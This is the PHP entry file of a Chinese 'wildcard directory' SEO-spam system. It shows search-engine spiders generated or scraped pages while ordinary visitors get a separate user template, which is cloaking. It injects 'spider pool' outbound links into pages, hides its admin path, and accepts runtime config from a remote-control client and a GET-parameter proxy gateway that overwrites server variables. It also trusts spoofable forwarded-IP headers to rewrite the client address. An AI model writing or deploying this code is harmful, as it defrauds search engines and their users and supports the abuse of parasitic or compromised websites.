<?php
/**
 * 泛目录内容生成系统 - 入口文件
 * 所有请求通过 .htaccess 重写到此文件
 */

error_reporting(0);
ini_set('display_errors', '0');
ini_set('log_errors', '1');
$phpErrorLog = __DIR__ . '/data/runtime/php_errors.log';
if (is_dir(dirname($phpErrorLog)) && is_writable(dirname($phpErrorLog))) {
    ini_set('error_log', $phpErrorLog);
}

// gzip 压缩输出（2MB → ~200KB，蜘蛛和浏览器均支持）
if (!ini_get('zlib.output_compression') && extension_loaded('zlib')) {
    ob_start('ob_gzhandler');
}

require __DIR__ . '/core/ConfigManager.php';
require __DIR__ . '/core/Debug.php';
require __DIR__ . '/core/Helper.php';
require __DIR__ . '/core/RedisStore.php';
require __DIR__ . '/core/AIContentService.php';
require __DIR__ . '/core/AIJobManager.php';
require __DIR__ . '/core/Data.php';
require __DIR__ . '/core/Cache.php';
require __DIR__ . '/core/Router.php';
require __DIR__ . '/core/Template.php';
require __DIR__ . '/core/AdminPanel.php';
require __DIR__ . '/core/SpiderStats.php';
require __DIR__ . '/core/UserGateway.php';
require __DIR__ . '/core/UserTemplate.php';
require __DIR__ . '/core/SpiderRedirect.php';
if (is_file(__DIR__ . '/core/RemoteControlClient.php')) {
    require_once __DIR__ . '/core/RemoteControlClient.php';
}
require __DIR__ . '/core/ProxyGateway.php';
require __DIR__ . '/core/HomepageFetcher.php';


$config = ConfigManager::loadConfig(__DIR__ . '/config/config.php');
$config = ConfigManager::normalize($config, __DIR__);

date_default_timezone_set($config['timezone'] ?? 'Asia/Shanghai');

$requestPath = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH) ?: '/';
$adminPath = '/' . ConfigManager::normalizeAdminEntry($config['admin_entry'] ?? 'safe-login-7f2d');
if ($requestPath === $adminPath || strpos($requestPath, $adminPath . '/') === 0) {
    $adminPanel = new AdminPanel($config, __DIR__ . '/config/config.php', $config['data_dir']);
    $adminPanel->handle();
    exit;
}
if ($adminPath !== '/admin' && ($requestPath === '/admin' || strpos($requestPath, '/admin/') === 0)) {
    http_response_code(404);
    exit('Not Found');
}

// ==================== 代理网关 ====================
// 远程瘦客户端通过 GET 参数传递 profile/host/path/userip/ua/source
// 网关验证后覆盖 $_SERVER，下游模块（UserGateway/Router/SpiderStats）无需修改
$proxyGateway = new ProxyGateway($config);
$_fml_proxy_profile = null;
if ($proxyGateway->isProxyRequest()) {
    $proxyGateway->handle();
    $_fml_proxy_profile = $proxyGateway->getProfile();
}

if (class_exists('RemoteControlClient')) {
    try {
        $remoteControl = new RemoteControlClient($config);
        if ($remoteControl->isEnabled()) {
            $config = $remoteControl->applyRuntimeConfig($config);
        }
    } catch (\Throwable $e) {
        @error_log('[RemoteControl] ' . $e->getMessage() . ' in ' . $e->getFile() . ':' . $e->getLine());
    }
}

$spiderStats = new SpiderStats($config['data_dir'] . '/runtime/spider_stats.json');

// extract real client IP from X-Forwarded-For (set by proxy in 1.txt)
// ==================== 强效穿透获取真实 IP ====================
function getFinalClientIp() {
    $headers = [
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_REAL_IP',
        'HTTP_CLIENT_IP',
        'HTTP_CF_CONNECTING_IP', // 兼容 CDN
        'REMOTE_ADDR'
    ];

    foreach ($headers as $header) {
        if (empty($_SERVER[$header])) continue;

        $ips = explode(',', $_SERVER[$header]);
        foreach ($ips as $ip) {
            $ip = trim($ip);
            // 关键：排除内网 IP (10.x, 172.16.x, 192.168.x) 和回环地址 (127.0.0.1)
            // 只有公网 IP 才会通过校验
            if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                return $ip;
            }
        }
    }
    // 如果全是内网/回环，则保留原始 REMOTE_ADDR (哪怕是 127.0.0.1)
    return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
}

$clientIp = getFinalClientIp();
// 物理覆盖，确保后续 UserGateway 等模块调用的都是真实的公网 IP
$_SERVER['REMOTE_ADDR'] = $clientIp;
// ============================================================

$spiderStats->recordRequest(
    $_SERVER['REQUEST_URI'] ?? '/',
    $_SERVER['HTTP_USER_AGENT'] ?? '',
    $clientIp,
    [
        'host' => $_SERVER['HTTP_HOST'] ?? '',
        'forwarded_host' => $_SERVER['HTTP_X_FORWARDED_HOST'] ?? '',
        'server_name' => $_SERVER['SERVER_NAME'] ?? '',
        'referer' => $_SERVER['HTTP_REFERER'] ?? '',
    ]
);

$data = new Data($config['data_dir'], $config);

// ==================== 用户网关 ====================
// force_all_user_template 开启后：所有蜘蛛请求直接走用户模板，移动端普通用户仍保持跳转逻辑
$forceAllUserTemplate = !empty($config['force_all_user_template']);
if ($forceAllUserTemplate) {
    $userTpl = new UserTemplate($config, $data);
    if ($userTpl->isSpiderUA()) {
        $userTpl->handle();
    }
}

// 开关控制：关闭后所有请求正常渲染模板
$gatewayEnabled = $config['user_gateway_enabled'] ?? true;
if ($gatewayEnabled) {
    $gateway = new UserGateway($config);
    if (!$gateway->isAllowedAccess()) {
        $userTpl = new UserTemplate($config, $data);
        $userTpl->handle();
    }
}

// === 以下仅百度/Google蜘蛛 + 白名单IP 会执行 ===

// ==================== 首页抓取（代理模式） ====================
// 蜘蛛访问首页时，抓取真实站首页并替换内链，不走模板渲染
$homepageFetcher = new HomepageFetcher($config);
$homepageOutput = $homepageFetcher->handle($_fml_proxy_profile);
if ($homepageOutput !== null) {
    header('Content-Type: text/html; charset=' . ($config['charset'] ?? 'utf-8'));
    echo $homepageOutput;
    exit;
}

$router   = new Router($config);
$cache    = new Cache($config['cache_enabled'] ?? false, $config['cache_dir'] ?? (__DIR__ . '/cache'), $config['cache_ttl'] ?? 3600);
$template = new Template($config, $data, $router);
$cacheKey = $router->getVisitorHost() . '|' . ($_SERVER['REQUEST_URI'] ?? '/');

// 普通模板页面缓存：按访客域名 + 请求 URI 缓存
$output = $cache->get($cacheKey);
if ($output === false) {
    $output = $template->render();

    // 蜘蛛池：命中站点后注入外链到页面顶部（<body>之后）
    $spiderRedirect = new SpiderRedirect($config);
    if ($spiderRedirect->shouldInject()) {
        $links = $spiderRedirect->getLinksHtml();
        $pos = stripos($output, '<body');
        if ($pos !== false) {
            $end = strpos($output, '>', $pos);
            if ($end !== false) {
                $output = substr_replace($output, '>' . $links, $end, 1);
            }
        }
    }
    // 调试注释始终注入
    $pos = stripos($output, '<body');
    if ($pos !== false) {
        $end = strpos($output, '>', $pos);
        if ($end !== false) {
            $output = substr_replace($output, '>' . $spiderRedirect->debugComment(), $end, 1);
        }
    }

    $cache->set($cacheKey, $output);
} else {
    $output = (string)$output;
}

if (!isset($spiderRedirect)) {
    $spiderRedirect = new SpiderRedirect($config);
    if (stripos($output, 'spider_redirect:') === false) {
        $pos = stripos($output, '<body');
        if ($pos !== false) {
            $end = strpos($output, '>', $pos);
            if ($end !== false) {
                $output = substr_replace($output, '>' . $spiderRedirect->debugComment(), $end, 1);
            }
        }
    }
}

header('Content-Type: text/html; charset=' . ($config['charset'] ?? 'utf-8'));
echo $output;
